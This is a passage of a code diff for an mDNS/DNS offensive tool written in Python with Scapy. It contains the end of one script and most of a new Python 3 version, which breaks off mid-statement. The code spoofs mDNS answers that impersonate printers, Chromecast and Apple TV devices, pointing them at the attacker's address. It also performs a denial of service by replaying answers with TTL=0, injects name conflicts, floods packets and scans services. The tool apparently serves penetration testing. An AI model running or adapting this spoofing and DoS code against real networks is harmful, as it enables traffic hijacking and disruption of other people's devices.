dns_query=dns_query/DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + if add_domain: + for i in range(1,len(domain_list)): + for j in query_list: + the_query=j+"."+domain_list[i] + dns_query=dns_query/DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=0,qd=dns_query) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=0,qd=dns_query) + send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,d4,source_IPv6,d6,interface,hlimit,dns_packet,flood,flooding_timeout,flooding_interval) + +######################################## +######################################## +######################################## +def send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,dst_ipv4,source_IPv6,dst_ipv6,interface,hlimit,payload,flood,flooding_timeout,flooding_interval): + if v4 or not v6: + packet=IP(src=source_IPv4,dst=dst_ipv4,ttl=hlimit,proto="udp")/payload + if len(packet)>1500: + frags=fragment(packet) + packets=[] + for frag in frags: + pkt1=Ether(src=source_mac,dst=target_mac1)/frag + packets.append(pkt1) + if flood: + counter=0.0 + print "Stop flooding after ",flooding_timeout," sec." + while(counter1500: + frags2=fragment6(IPv6(src=source_IPv6,dst=dst_ipv6,hlim=hlimit)/IPv6ExtHdrFragment()/payload,1480) + packets=[] + for frag2 in frags2: + pkt2=Ether(src=source_mac,dst=target_mac2)/frag2 + packets.append(pkt2) + if flood: + counter=0.0 + print "Stop flooding after ",flooding_timeout," sec." + while(counter> 32 & 0xffff ^ 0x0200 + high1 = mac_value >> 24 & 0xff + low1 = mac_value >> 16 & 0xff + low2 = mac_value & 0xffff + source_IPv6 = 'fe80::{:04x}:{:02x}ff:fe{:02x}:{:04x}'.format(high2, high1, low1, low2) + else: + source_IPv6=values.source6 + if not values.source4: + source_IPv4=get_my_ipv4_addr(values.interface) + else: + source_IPv4=values.source4 + print "source MAC address:",source_mac,"source IPv4 Address:",source_IPv4,"source IPv6 address:",source_IPv6 + ######################################################################################################### + if values.target_mac: + target_mac1=values.target_mac + target_mac2=values.target_mac + else: + target_mac2="33:33:00:00:00:02" + target_mac1="01:00:5e:00:00:fb" + ############################################Sniffing requirements######################################## + q = multiprocessing.Queue() + if values.dos_ttl or values.auto_fake_responses: + if values.auto_fake_responses: + print "Send fake responses to requests" + if values.target_mac: + myfilter = "not ether src " + source_mac + " and not ether dst " + values.target_mac +" and udp and port 5353" + else: + myfilter = "not ether src " + source_mac + " and udp and port 5353" + elif values.target_mac: + print "Performing implicit DoS by sending automated spoofed DNS Answers with TTL=0" + myfilter = "not ether dst " + values.target_mac + " and udp and port 5353" + else: + print "Performing implicit DoS by sending automated spoofed DNS Answers with TTL=0" + myfilter = "udp and port 5353" + print "Sniffer filter is:",myfilter + print "I will sniff for",values.sniffer_timeout,"seconds, unless interrupted by Ctrl-C" + print "Press Ctrl-C to exit" + try: + Sniffer(myfilter, values.interface, float(values.sniffer_timeout),q,values.dns,values.show_ttl, values.dos_ttl, values.conflict, values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6) + except KeyboardInterrupt: + print "Exiting on user's request" + exit(0) + exit(0) + myfilter = "not ether src " + source_mac + " and udp and port 5353" + print "Sniffer filter is:",myfilter + print "I will sniff for",values.sniffer_timeout,"seconds, unless interrupted by Ctrl-C" + pr = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q,values.dns,values.show_ttl, values.dos_ttl, values.conflict, values.ttl,values.d4,values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2, source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr.daemon = True + pr.start() + print "------------------------------------------------------------------------" + time.sleep(1)#to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + ########################################################################################################## + if values.request: + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,values.query,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + elif values.response: + #qr=1=>Response, aa=1=>Server is an authority for the domain, rd=0=> Do not query recursively + if values.dns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0) + #dns_packet=UDP(dport=53)/DNS(opcode=0,qr=1,aa=1,qdcount=0,ancount=len(responses),qd=dns_response) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0) + #dns_packet=UDP(sport=5353,dport=5353)/DNS(opcode=0,qr=1,aa=1,qdcount=0,ancount=len(responses),qd=dns_response) + responses = values.dns_response.split(",") + no_of_answers=0 + no_of_additional_records=0 + dnsar=None + for r in responses: + values_of_responses = r.split("/") + dnsrr=DNSRR() + port=0 + weight=0 + priority=0 + no_of_answers+=1 + this_is_a_dns_ar=False + #rdata=None + rdata=[] + for dns_values in values_of_responses: + #print dns_values + value = dns_values.split("==") + if value[0]=="Type": + dnsrr.type=value[1] + elif value[0]=="Name": + dnsrr.rrname=value[1] + elif value[0]=="Target": + rdata.append(value[1]) + #rdata=value[1] + elif value[0]=="TTL": + dnsrr.ttl=int(value[1]) + elif value[0]=="Flush": + if value[1]=="True": + dnsrr.rclass=32769 + elif value[0]=="Priority": + priority=int(value[1]) + elif value[0]=="Weight": + weight=int(value[1]) + elif value[0]=="Port": + port=int(value[1]) + elif value[0]=="AR": + if value[1]=="True": + no_of_additional_records+=1 + this_is_a_dns_ar=True + if dnsrr.type==33: + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + #http://stackoverflow.com/questions/26933016/rdata-field-of-a-dns-sd-ptr-packet-sent-via-scapy-results-in-an-unknown-extended + sublabels = rdata[0].split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + dnsrr.rdata=data+label_data + elif dnsrr.type==16: + txt_record="" + for r in rdata: + length=hex(len(r))[2:] + #check http://code.activestate.com/recipes/576617-converting-arbitrary-size-python-integers-to-packe/ + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + dnsrr.rdata=txt_record + #pkt= DNSRR(rrname="MyOfficejet10000._pdl-datasream._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + #pkt.rdlen-=1 + #mylength=len(pkt.rrname)+12 + #dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + #pkt=dnsrr_packet + ################## + pkt=dnsrr + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + ################## + #mylength=len(dnsrr.rrname)+12 + #dnsrr_packet=str(dnsrr)[0:mylength]+str(dnsrr)[mylength+1::] + dnsrr=dnsrr_packet + else: + #print rdata + dnsrr.rdata=rdata[0] + if not this_is_a_dns_ar: + dns_packet=dns_packet/dnsrr + else: + if not dnsar: + dnsar=dnsrr + else: + dnsar=dnsar/dnsrr + if dnsar: + dns_packet=dns_packet/dnsar + dns_packet[DNS].ancount=no_of_answers-no_of_additional_records + dns_packet[DNS].arcount=no_of_additional_records + send_packets(values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,values.d4,source_IPv6,values.d6,values.interface,values.hlimit,dns_packet,values.flood,values.flooding_timeout,values.flooding_interval) + elif values.rdns_scanning: + dns_query=None + for address in ip_range(values.rdns_scanning): + the_query=address + if not dns_query: + dns_query=DNSQR(qname=the_query,qtype=values.qtype,qclass=values.q_class) + else: + dns_query=dns_query/DNSQR(qname=the_query,qtype=values.qtype,qclass=values.q_class) + if values.dns: + dns_packet=UDP(dport=53)/DNS(qr=0,qd=dns_query) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=0,qd=dns_query) + send_packets(values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,values.d4,source_IPv6,values.d6,values.interface,values.hlimit,dns_packet,values.flood,values.flooding_timeout,values.flooding_interval) + elif values.service_scan: + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,values.query,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + ############################################################################################ + ############################################################################################ + if pr: + try: + pr.join() + except KeyboardInterrupt: + print "Exiting on user's request" + exit(0) + + #### AFTER EXITING, PRINT THE RESULTS #### + results=[] + while not q.empty(): + results.append(q.get()) + if values.rdns_scanning: + targets=[] + q2 = multiprocessing.Queue() + pr2 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q2,values.dns,values.show_ttl, values.dos_ttl,values.conflict, values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr2.daemon = True + pr2.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[7].strip('"') + if service.endswith('local.'): + service=service[:-6] + if service.endswith('.'): + service=service[:-1] + if (r2[1],service) not in targets: + targets.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr2: + try: + pr2.join() + except KeyboardInterrupt: + print "Exiting on user's request" + while not q2.empty(): + results.append(q2.get()) + elif values.service_scan: + targets=[] + q2 = multiprocessing.Queue() + pr2 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q2,values.dns,values.show_ttl, values.dos_ttl,values.conflict, values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr2.daemon = True + pr2.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[7].strip('"')[:-1] + if (r2[1],service) not in targets: + print (r2[1],service) + targets.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr2: + try: + pr2.join() + except KeyboardInterrupt: + print "Exiting on user's request" + while not q2.empty(): + results.append(q2.get()) + targets2=[] + q3 = multiprocessing.Queue() + pr3 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q3,values.dns,values.show_ttl, values.dos_ttl, values.conflict,values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr3.daemon = True + pr3.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[4] + if service.endswith('local.'): + service=service[:-6] + if service.endswith('.'): + service=service[:-1] + if (r2[1],service) not in targets and (r2[1],service) not in targets2 and "_services._dns-sd._udp" not in service: + targets2.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr3: + try: + pr3.join() + except KeyboardInterrupt: + print "Exiting on user's request" + while not q3.empty(): + results.append(q3.get()) + print "\n*********************************************RESULTS*********************************************" + for r in results: + print r + +if __name__ == '__main__': + main() diff --git a/pholus/pholus3.py b/pholus/pholus3.py new file mode 100644 index 00000000..65fbff66 --- /dev/null +++ b/pholus/pholus3.py @@ -0,0 +1,971 @@ +#!/usr/bin/python +from scapy.all import * +import argparse +import re +import binascii +import random +import multiprocessing +import logging +import itertools +import codecs +import ipaddress +from scapy.utils import PcapWriter + +sys.setrecursionlimit(30000) +logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#supress Scapy warnings` + +###################################### +### OBTAIN THE SYSTEM IPV6 ADDRESS ### +###################################### +def get_my_ipv6_addr(interface): + myip="" + try: + for ifaces in scapy.arch.linux.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc + if ifaces[2]==interface: + if not myip: + myip=ifaces[0] + elif myip[0:6] == "fe80::": + myip=ifaces[0] + return myip + except: + print("The interface",interface,"does not exist. Please, try again.") + exit(0) + +###################################### +### OBTAIN THE SYSTEM IPV4 ADDRESS ### +###################################### +def get_my_ipv4_addr(interface): + myip="" + try: + myip=scapy.arch.get_if_addr(interface) + return myip + except: + print("The interface",interface,"does not exist. Please, try again.") + exit(0) + +########################## +##### SNIFFER CLASS ##### +########################## +class Sniffer(): + def __init__ (self,filter,interface,sniffer_timeout,queue,dns,show_ttl,dos_ttl, conflict, ttl,d4, d6, target_mac, auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,hlimit,workstation,printer,googlecast,airtv,flood,flooding_timeout,flooding_interval, v4, v6): + self.filter = filter + self.interface = interface + self.sniffer_timeout=sniffer_timeout + self.queue=queue + self.dns=dns + self.show_ttl=show_ttl + self.dos_ttl=dos_ttl + self.conflict=conflict + self.ttl=ttl + self.d4=d4 + self.d6=d6 + self.target_mac=target_mac + self.auto_fake_responses=auto_fake_responses + self.source_IPv6=source_IPv6 + self.source_IPv4=source_IPv4 + self.target_mac1=target_mac1 + self.target_mac2=target_mac2 + self.source_mac=source_mac + self.hlimit=hlimit + self.workstation=workstation + self.printer=printer + self.airtv=airtv + self.googlecast=googlecast + self.flood=flood + self.flooding_interval=flooding_interval + self.flooding_timeout=flooding_timeout + self.v4=v4 + self.v6=v6 + sniff(filter=self.filter, iface=self.interface, prn=self.handler, store=0, timeout=self.sniffer_timeout) + def handler(self,packets): + ext_handler(packets,self.queue,self.dns,self.show_ttl,1,self.dos_ttl,self.conflict, self.ttl,self.interface,self.d4,self.d6,self.target_mac,self.auto_fake_responses,self.source_IPv6,self.source_IPv4,self.target_mac1,self.target_mac2,self.source_mac,self.hlimit,self.workstation,self.printer,self.googlecast,self.airtv,self.flood,self.flooding_timeout,self.flooding_interval,self.v4,self.v6) + +################################## +##### OFFLINE SNIFFER CLASS ##### +################################## +class Sniffer_Offline(): + def __init__ (self,interface,queue,show_ttl,d4, d6, target_mac,auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,hlimit): + self.interface = interface + self.queue=queue + self.show_ttl=show_ttl + self.d4=d4 + self.d6=d6 + self.target_mac=target_mac + self.auto_fake_responses=auto_fake_responses + self.source_IPv6=source_IPv6 + self.source_IPv4=source_IPv4 + self.target_mac1=target_mac1 + self.target_mac2=target_mac2 + self.source_mac=source_mac + self.hlimit=hlimit + sniff(filter="udp and (port 5353 or port 53)", offline=self.interface, prn=self.handler, timeout=1) + def handler(self,packets): + ext_handler(packets,self.queue,False,self.show_ttl,1,False,False,4500,self.interface,self.d4,self.d6,self.target_mac,False,self.source_IPv6,self.source_IPv4,self.target_mac1,self.target_mac2,self.source_mac,self.hlimit,False,False,False,False,False,10.0,0.1,True,False) + +######################################################################## +### THE HANDLER THAT THE TWO SNIFFERS CALL - THIS MAKES THE MAIN JOB ### +######################################################################## +def ext_handler(packets,queue,unidns,show_ttl,print_res,dos_ttl,conflict,ttl,interface,d4,d6,target_mac,auto_fake_responses,source_IPv6,source_IPv4,target_mac1,target_mac2,source_mac,hlimit,workstation,printer,googlecast,airtv,flood,flooding_timeout,flodding_interval,v4,v6): + dns_type = {12: "PTR", 28: "AAAA", 13: "HINFO",33: "SRV", 1: "A", 255: "* (ANY)", 16: "TXT", 15: "MX", 6: "SOA", 256: "URI", 5: "CNAME",39: "DNAME"} + Ether_src=packets.getlayer(Ether).src + IP_src=None + if packets.haslayer(IPv6): + IP_src=packets.getlayer(IPv6).src + elif packets.haslayer(IP): + IP_src=packets.getlayer(IP).src + res0= Ether_src + " " + IP_src + if packets.haslayer(DNS): + dns=packets.getlayer(DNS) + if (conflict or dos_ttl) and dns.ancount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.an) + if conflict: + new_DNS_packet=DNS(id=dns[DNS].id,qr=dns[DNS].qr,opcode=dns[DNS].opcode,aa=dns[DNS].aa,tc=dns[DNS].tc,rd=dns[DNS].rd,ra=dns[DNS].ra,z=dns[DNS].z,ad=dns[DNS].ad,cd=dns[DNS].cd,rcode=dns[DNS].rcode,qdcount=0,ancount=dns[DNS].ancount,nscount=0,arcount=0,qd=dns[DNS].qd) + if target_mac: + new_packet=Ether(src=source_mac,dst=target_mac) + else: + new_packet=Ether(src=source_mac,dst=packets[Ether].dst) + if packets.haslayer(IPv6): + if d6: + new_packet=new_packet/IPv6(src=source_IPv6,dst=d6,hlim=packets[IPv6].hlim) + else: + new_packet=new_packet/IPv6(src=source_IPv6,dst=packets[IPv6].dst,hlim=packets[IPv6].hlim) + else: + if d4: + new_packet=new_packet/IP(src=source_IPv4,dst=d4,ttl=packets[IP].ttl) + else: + new_packet=new_packet/IP(src=source_IPv4,dst=packets[IP].dst,ttl=packets[IP].ttl) + for p in DNSBlocks: + if isinstance(p,DNSRR): + new_DNS_packet=new_DNS_packet/p + elif dos_ttl: + new_DNS_packet=DNS(id=dns[DNS].id,qr=dns[DNS].qr,opcode=dns[DNS].opcode,aa=dns[DNS].aa,tc=dns[DNS].tc,rd=dns[DNS].rd,ra=dns[DNS].ra,z=dns[DNS].z,ad=dns[DNS].ad,cd=dns[DNS].cd,rcode=dns[DNS].rcode,qdcount=0,ancount=dns[DNS].ancount,nscount=0,arcount=dns[DNS].arcount,qd=dns[DNS].qd) + DNSBlocks.append(dns.ar) + if target_mac: + new_packet=Ether(src=source_mac,dst=target_mac) + else: + new_packet=Ether(src=packets[Ether].src,dst=packets[Ether].dst) + if packets.haslayer(IPv6): + if d6: + new_packet=new_packet/IPv6(src=packets[IPv6].src,dst=d6,hlim=packets[IPv6].hlim) + else: + new_packet=new_packet/IPv6(src=packets[IPv6].src,dst=packets[IPv6].dst,hlim=packets[IPv6].hlim) + else: + if d4: + new_packet=new_packet/IP(src=packets[IP].src,dst=d4,ttl=packets[IP].ttl) + else: + new_packet=new_packet/IP(src=packets[IP].src,dst=packets[IP].dst,ttl=packets[IP].ttl) + for p in DNSBlocks: + if isinstance(p,DNSRR): + new_p=DNSRR() + new_p.ttl=0 + new_p.rrname=p.rrname + new_p.type=p.type + new_p.rclass=p.rclass + new_p.rdlen=p.rdlen + new_p.rdata=p.rdata + new_DNS_packet=new_DNS_packet/new_p + if unidns: + new_packet=new_packet/UDP(dport=53)/new_DNS_packet + else: + new_packet=new_packet/UDP(dport=5353,sport=5353)/new_DNS_packet + for x in range(0,2):#Send each packet twice + sendp(new_packet,iface=interface) + elif auto_fake_responses or (not (dos_ttl or conflict)): + ## IF THIS IS A QUERY ## + if dns.opcode==0: + res0 = res0 + " QUERY" + if dns.qdcount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.qd) + for block in DNSBlocks: + while isinstance(block,DNSQR): + dnsqr=block.getlayer(DNSQR) + ### IF WE NEED TO AUTO RESPOND WITH A FAKE | DOS RESPONSE ### + if auto_fake_responses: + myttl=int(ttl) + if isinstance(dnsqr.qname,bytes): + qname=dnsqr.qname.decode("utf-8") + else: + qname=dnsqr.qname + if isinstance(dnsqr.name,bytes): + name=dnsqr.name.decode("utf-8") + else: + name=dnsqr.name + if (("in-addr.arpa" in qname) or ("ip6.arpa" in name)) and workstation: + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=0)/DNSRR(rrname=dnsqr.qname,ttl=myttl,rdata='mitsos.local',type="PTR") + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=0)/DNSRR(rrname=dnsqr.qname,ttl=myttl,rdata='mitsos.local',type="PTR") + elif ("_workstation._tcp." in qname) and workstation: + #qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=3)/DNSRR(rrname="_workstation._tcp.local",ttl=myttl,rdata="mitsos._workstation._tcp.local",type="PTR",rclass=32769)/DNSRR(rrname=qname,ttl=myttl,type="TXT",rclass=32769)/DNSRR(rrname="mitsos.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=3)/DNSRR(rrname="_workstation._tcp.local",ttl=myttl,rdata="mitsos._workstation._tcp.local",type="PTR",rclass=32769)/DNSRR(rrname=qname,ttl=myttl,type="TXT",rclass=32769)/DNSRR(rrname="mitsos.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769) + elif (("_pdl-datastream._tcp." in qname) or ("_ipp._tcp." in qname)) and printer: + #qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + #make the SRV additional record + port=9100 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + #for explanation, check http://stackoverflow.com/questions/26933016/rdata-field-of-a-dns-sd-ptr-packet-sent-via-scapy-results-in-an-unknown-extended + sublabels = "HP10000.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + txt_record="" + rdata=['txtvers=1','qtotal=1','pdl=application/vnd.hp-PCL','ty=MyOfficejet100000','product=(Trexa gureue)','priority=0','adminur=http://'+source_IPv4] + #print(type(rdata)) + for r in rdata: + length=hex(len(r))[2:] + #check http://code.activestate.com/recipes/576617-converting-arbitrary-size-python-integers-to-packe/ + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="MyOfficejet10000._pdl-datasream._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="MyOffice10000."+qname,type="PTR",rclass=32769)/DNSRR(rrname="HP10000.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4)/DNSRR(rrname="MyOffice100000."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/pkt + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="MyOffice10000."+qname,type="PTR",rclass=32769)/DNSRR(rrname="HP10000.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4)/DNSRR(rrname="MyOffice100000."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/pkt + elif ("_googlecast._tcp." in qname) and googlecast: + #qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + #make the SRV additional record + port=8009 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + sublabels = "32799abf-18ea-631d-62ae-390515bb47c5.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + txt_record="" + rdata=['id=32799abf-18ea-631d-62ae-390515bb47c5','rm=','ve=05','md=Chromecast Ultra','ic=/setup/icon.png','fn=LivingRoom','ca=4101','st=0','bs=FA8FCA7EO948','rs=0'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="PTR")/pkt/DNSRR(rrname="ChromecastUltra."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="32799abf-18ea-631d-62ae-390515bb47c5.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="PTR")/pkt/DNSRR(rrname="ChromecastUltra."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="32799abf-18ea-631d-62ae-390515bb47c5.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4) + elif ("_airplay." in qname) and airtv: + #qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + + txt_record="" + rdata=['model=J33AP'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="Apple TV-mitsos._device-info._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + + txt_record="" + rdata=['deviceid=9C:20:7B:AD:6B:E4','features=0x5A7FFFF7,0xE','flags=0x44','model=AppleTV3,1','pk=ab69a89af6fe7ff1fd803f74c6681d786aff1e6bc52087e49cc8f22585916ccd','pi=a62a851e-d024-439f-9ee0-01ef1b23d6ca','srcvers=220.68','vv=2'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt2= DNSRR(rrname="Apple TV-mitsos._airplay._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt2.rdlen-=1 + mylength=len(pkt2.rrname)+12 + dnsrr_packet=str(pkt2)[0:mylength]+str(pkt2)[mylength+1::] + pkt2=dnsrr_packet + + txt_record="" + rdata=['cn=0,1,2,3','da=true','et=0,3,5','ft=0x5A7FFFF7,0xE','md=0,1,2','am=AppleTV3,1','pk=ab69a89af6fe7ff1fd803f74c6681d786aff1e6bc52087e49cc8f22585916ccd','sf=0x44','tp=UDP','vn=65537','vs=220.68','vv=2'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt3= DNSRR(rrname="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt3.rdlen-=1 + mylength=len(pkt3.rrname)+12 + dnsrr_packet=str(pkt3)[0:mylength]+str(pkt3)[mylength+1::] + pkt3=dnsrr_packet + + #make the SRV additional record + port=7000 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + sublabels = "Apple-TV.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + + if unidns: + dns_packet=UDP(dport=53) + else: + 